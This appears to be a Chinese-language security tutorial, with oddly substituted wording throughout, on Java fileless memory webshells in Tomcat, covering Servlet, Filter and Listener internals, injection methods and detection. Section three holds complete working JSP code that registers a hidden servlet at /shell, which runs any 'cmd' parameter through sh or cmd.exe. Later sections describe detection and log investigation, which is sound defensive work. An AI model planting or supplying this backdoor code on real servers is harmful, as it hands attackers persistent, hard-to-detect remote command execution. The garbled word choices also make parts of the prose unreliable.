最近整理了一些奇安信&华为大佬的课件资料+大厂口试课题,想要的可以私信自取,无偿赠予给粉丝朋友~
一、内存马简介1.1 webshell变迁
webshell的变迁过程大致如下所述:
web做事器管理页面——> 大马——>小马拉大马——>一句话木马——>加密一句话木马——>加密内存马
内存马是无文件攻击的一种常用手段,随着攻防演习训练热度越来越高:攻防双方的博弈,流量剖析、EDR等专业安全设备被蓝方广泛利用,传统的文件上传的webshll或以文件形式驻留的后门越来越随意马虎被检测到,内存马利用越来越多。
Webshell内存马,是在内存中写入恶意后门和木马并实行,达到远程掌握Web做事器的一类内存马,其瞄准了企业的对外窗口:网站、运用。但传统的Webshell都是基于文件类型的,黑客可以利用上传工具或网站漏洞植入木马,差异在于Webshell内存马是无文件马,利用中间件的进程实行某些恶意代码,不会有文件落地,给检测带来巨大难度。
1.2 如何实现webshell内存马目标:访问任意url或者指定url,带上命令实行参数,即可让做事器返回命令实行结果
实现:以java为例,客户端发起的web要求会依次经由Listener、Filter、Servlet三个组件,我们只要在这个要求的过程中做手脚,在内存中修正已有的组件或者动态注册一个新的组件,插入恶意的shellcode,就可以达到我们的目的。
1.3 内存马类型
根据内存马注入的办法,大致可以将内存马划分为如下两类
1.servlet-api型通过命令实行等办法动态注册一个新的listener、filter或者servlet,从而实现命令实行等功能。特定框架、容器的内存马事理与此类似,如spring的controller内存马,tomcat的valve内存马
2.字节码增强型通过java的instrumentation动态修正已有代码,进而实现命令实行等功能。
二、背景知识2.1 Java web三大件2.1.1 Servlet
1.什么是servlet
Servlet 是运行在 Web 做事器或运用做事器上的程序,它是作为来自 HTTP 客户真个要乞降 HTTP 做事器上的数据库或运用程序之间的中间层。它卖力处理用户的要求,并根据要求天生相应的返复书息供应给用户。
2.要求的处理过程
客户端发起一个http要求,比如get类型。
Servlet容器吸收到要求,根据要求信息,封装成HttpServletRequest和HttpServletResponse工具。
Servlet容器调用HttpServlet的init()方法,init方法只在第一次要求的时候被调用。
Servlet容器调用service()方法。
service()方法根据要求类型,这里是get类型,分别调用doGet或者doPost方法,这里调用doGet方法。
doXXX方法中是我们自己写的业务逻辑。
业务逻辑处理完成之后,返回给Servlet容器,然后容器将结果返回给客户端。
容器关闭时候,会调用destory方法
3.servlet生命周期
1)做事器启动时(web.xml中配置load-on-startup=1,默认为0)或者第一次要求该servlet时,就会初始化一个Servlet工具,也便是会实行初始化方法init(ServletConfig conf)。
2)servlet工具去处理所有客户端要求,在service(ServletRequest req,ServletResponse res)方法中实行
3)做事器关闭时,销毁这个servlet工具,实行destroy()方法。
4)由JVM进行垃圾回收。
2.1.2 Filter
简介
filter也称之为过滤器,是对Servlet技能的一个强补充,其紧张功能是在HttpServletRequest到达 Servlet 之前,拦截客户的HttpServletRequest ,根据须要检讨HttpServletRequest,也可以修正HttpServletRequest 头和数据;在HttpServletResponse到达客户端之前,拦截HttpServletResponse ,根据须要检讨HttpServletResponse,也可以修正HttpServletResponse头和数据。
基本事情事理
1、Filter 程序是一个实现了分外接口的 Java 类,与 Servlet 类似,也是由 Servlet 容器进行调用和实行的。
2、当在 web.xml 注册了一个 Filter 来对某个 Servlet 程序进行拦截处理时,它可以决定是否将要求连续通报给 Servlet 程序,以及对要乞降相应是否进行修正。
3、当 Servlet 容器开始调用某个 Servlet 程序时,如果创造已经注册了一个 Filter 程序来对该 Servlet 进行拦截,那么容器不再直接调用 Servlet 的 service 方法,而是调用 Filter 的 doFilter 方法,再由 doFilter 方法决定是否去激活 service 方法。
4、但在 Filter.doFilter 方法中不能直接调用 Servlet 的 service 方法,而是调用 FilterChain.doFilter 方法来激活目标 Servlet 的 service 方法,FilterChain 工具时通过 Filter.doFilter 方法的参数通报进来的。
5、只要在 Filter.doFilter 方法中调用 FilterChain.doFilter 方法的语句前后增加某些程序代码,这样就可以在 Servlet 进行相应前后实现某些分外功能。
6、如果在 Filter.doFilter 方法中没有调用 FilterChain.doFilter 方法,则目标 Servlet 的 service 方法不会被实行,这样通过 Filter 就可以阻挡某些造孽的访问要求。
filter的生命周期
与servlet一样,Filter的创建和销毁也由web容器卖力。web 运用程序启动时,web 做事器将创建Filter 的实例工具,并调用其init方法,读取web.xml配置,完成工具的初始化功能,从而为后续的用户要求作好拦截的准备事情(filter工具只会创建一次,init方法也只会实行一次)。开拓职员通过init方法的参数,可得到代表当前filter配置信息的FilterConfig工具。Filter工具创建后会驻留在内存,当web运用移除或做事器停滞时才销毁。在Web容器卸载 Filter 工具之前被调用。该方法在Filter的生命周期中仅实行一次。在这个方法中,可以开释过滤器利用的资源。
filter链当多个filter同时存在的时候,组成了filter链。web做事器根据Filter在web.xml文件中的注册顺序,决定先调用哪个Filter。当第一个Filter的doFilter方法被调用时,web做事器会创建一个代表Filter链的FilterChain工具通报给该方法,通过判断FilterChain中是否还有filter决定后面是否还调用filter。
2.1.3 Listener
简介
JavaWeb开拓中的监听器(Listener)便是Application、Session和Request三大工具创建、销毁或者往个中添加、修正、删除属性时自动实行代码的功能组件。
ServletContextListener:对Servlet高下文的创建和销毁进行监听;ServletContextAttributeListener:监听Servlet高下文属性的添加、删除和更换;
HttpSessionListener:对Session的创建和销毁进行监听。Session的销毁有两种情形,一个中Session超时,还有一种是通过调用Session工具的invalidate()方法使session失落效。
HttpSessionAttributeListener:对Session工具中属性的添加、删除和更换进行监听;
ServletRequestListener:对要求工具的初始化和销毁进行监听;ServletRequestAttributeListener:对要求工具属性的添加、删除和更换进行监听。
用场
可以利用监听器监听客户真个要求、做事真个操作等。通过监听器,可以自动出发一些动作,比如监听在线的用户数量,统计网站访问量、网站访问监控等。
2.2Tomcat2.2.1简介
大略理解,tomcat是http做事器+servlet容器。
Tomcat 作为Servlet容器,将http要求文本吸收并解析,然后封装成HttpServletRequest类型的request工具,通报给servlet;同时会将相应的信息封装为HttpServletResponse类型的response工具,然后将response交给tomcat,tomcat就会将其变成相应文本的格式发送给浏览器。
2.2.2Tomcat架构设计
前面提到过,Tomcat 的实质实在便是一个 WEB 做事器 + 一个 Servlet 容器,那么它一定须要处理网络的连接与 Servlet 的管理,因此,Tomcat 设计了两个核心组件来实现这两个功能,分别是连接器和容器,连接器用来处理外部网络连接,容器用来处理内部 Servlet,我用一张图来表示它们的关系:
一个 Tomcat 代表一个 Server 做事器,一个 Server 做事器可以包含多个 Service 做事,Tomcat 默认的 Service 做事是 Catalina,而一个 Service 做事可以包含多个连接器,由于 Tomcat 支持多种网络协议,包括 HTTP/1.1、HTTP/2、AJP 等等,一个 Service 做事还会包括一个容器,容器外部会有一层 Engine 引擎所包裹,卖力与处理连接器的要求与相应,连接器与容器之间通过 ServletRequest 和 ServletResponse 工具进行互换。
一个engine可以对一个多个host,也便是虚拟主机,一个host可以对应多个context,也便是web运用,一个context对应多个wrapper,也便是servlet。这个映射关系,通过mapper组件来关联,mapper组件保存了Web运用的配置信息,容器组件与访问路径的映射关系。Host容器的域名,Context容器中的web路径,Wrapper容器中的servlet映射的路径,这些配置信息是多层次的Map。根据要求定位到指定servlet的流程图如下:
2.3 其他java背景知识
2.3.1 java反射
反射供应的功能,能在运行时(动态)的
1.获取一个类的所有成员变量和方法
2.创建一个类的工具
a.获取工具成员变量&赋值b.调用工具的方法c.判断工具所属的类
在注入内存马的过程当中,我们可能须要用到反射机制,例如注入一个servlet型的内存马,我们须要利用反射机制来获取当前的context,然后将恶意的servlet(wrapper)添加到当前的context的children中。在利用Java反射机制时,紧张步骤包括:
①获取 目标类型的Class工具
②通过 Class 工具分别获取Constructor类工具、Method类工具 & Field 类工具
③通过 Constructor类工具、Method类工具 & Field类工具分别获取类的布局函数、方法&属性的详细信息,并进行后续操作
2.3.2 java instrumentation
Instrumentation是Java供应的一个来自JVM的接口,该接供词给了一系列查看和操作Java类定义的方法,例如修正类的字节码、向classLoader的classpath下加入jar文件等。使得开拓者可以通过Java措辞来操作和监控JVM内部的一些状态,进而实现Java程序的监控剖析,乃至实现一些分外功能(如AOP、热支配)。
Java agent是一种分外的Java程序(Jar文件),它是Instrumentation的客户端。与普通Java程序通过main方法启动不同,agent并不是一个可以单独启动的程序,而必须寄托在一个Java运用程序(JVM)上,与它运行在同一个进程中,通过Instrumentation API与虚拟机交互。在注入内存马的过程中,我们可以利用java instrumentation机制,动态的修正已加载到内存中的类里的方法,进而注入恶意的代码。
三、内存马实现
这里我们以tomcat的servletAPI型内存马为例讲一下内存马的实现。下面的代码先是创建了一个恶意的servlet,然后获取当前的StandardContext,然后将恶意servlet封装成wrapper添加到StandardContext的children当中,末了添加ServletMapping将访问的URL和wrapper进行绑定。
<%@ page import="java.io.IOException" %><%@ page import="java.io.InputStream" %><%@ page import="java.util.Scanner" %><%@ page import="org.apache.catalina.core.StandardContext" %><%@ page import="java.io.PrintWriter" %><% // 创建恶意Servlet Servlet servlet = new Servlet() { @Override public void init(ServletConfig servletConfig) throws ServletException { } @Override public ServletConfig getServletConfig() { return null; } @Override public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException { String cmd = servletRequest.getParameter("cmd"); boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\a"); String output = s.hasNext() ? s.next() : ""; PrintWriter out = servletResponse.getWriter(); out.println(output); out.flush(); out.close(); } @Override public String getServletInfo() { return null; } @Override public void destroy() { } }; %><% // 获取StandardContext org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext(); // 用Wrapper对其进行封装 org.apache.catalina.Wrapper newWrapper = standardCtx.createWrapper(); newWrapper.setName("jweny"); newWrapper.setLoadOnStartup(1); newWrapper.setServlet(servlet); newWrapper.setServletClass(servlet.getClass().getName()); // 添加封装后的恶意Wrapper到StandardContext的children当中 standardCtx.addChild(newWrapper); // 添加ServletMapping将访问的URL和Servlet进行绑定 standardCtx.addServletMapping("/shell","jweny");%>
实行上述代码后,访问当前运用的/shell路径,加上cmd参数就可以命令实行了。利用新增servlet的办法就须要绑定指定的URL。如果我们想要更加暗藏,做到内存马与URL无关,无论这个url是原生servlet还是某个struts action,乃至无论这个url是否真的存在,只要我们的要求通报给tomcat,tomcat就能相应我们的指令,那就得通过注入新的或修正已有的filter或者listener的办法来实现了。比如早期rebeyond师傅开拓的memshell,便是通过修正org.apache.catalina.core.ApplicationFilterChain类的internalDoFilter方法来实现的,后期冰蝎最新版本的内存马为了实现更好的兼容性,选择hook javax.servlet.http.HttpServlet#service 函数,在weblogic选择hook weblogic.servlet.internal.ServletStubImpl#execute 函数。
四、内存马检测与排查4.1源码检测在java中,只有被JVM加载后的类才能被调用,或者在须要时通过反射关照JVM加载。以是特色都在内存中,表现形式为被加载的class。须要通过某种方法获取到JVM的运行时内存中已加载的类, Java本身供应了Instrumentation类来实现运行时注入代码并实行,因此产生一个检测思路:注入jar包-> dump已加载class字节码->反编译成java代码-> 源码webshell检测。
这样检测比较花费性能,我们可以缩小须要进行源码检测的类的范围,通过如下的筛选条件组合利用筛选类进行检测:
①新增的或修正的;
②没有对应class文件的
③xml配置中没注册的
④冰蝎等常见工具利用的
⑤filterchain中排第一的filter类
还有一些比较弱的特色可以用来赞助检测,比如类名称中包含shell或者为随机名,利用不常见的classloader加载的类等等。
其余,有一些工具可以赞助检测内存马,如java-memshell-scanner是通过jsp扫描运用中所有的filter和servlet,然后通过名称、对应的class是否存在来判断是否是内存马
4.2 内存马排查
如果我们通过检测工具或者其他手段创造了一些内存webshell的痕迹,须要有一个排查的思路来进行跟踪剖析,也是根据各种型的事理,列出一个排查思路。
如果是jsp注入,日志中排查可疑jsp的访问要求。
如果是代码实行漏洞,排查中间件的error.log,查看是否有可疑的报错,判断注入韶光和方法
根据业务利用的组件排查是否可能存在java代码实行漏洞以及是否存在过webshell,排查框架漏洞,反序列化漏洞。
如果是servlet或者spring的controller类型,根据上报的webshell的url查找日志(日志可能被关闭,不一定有),根据url最早访问韶光确定被注入韶光。
如果是filter或者listener类型,可能会有较多的404但是带有参数的要求,或者大量要求不同url但带有相同的参数,或者页面并不存在但返回200
版权申明:内容来源网络,版权归原创者所有。除非无法确认,都会标明作者及出处,如有侵权,烦请奉告,我们会立即删除并报歉!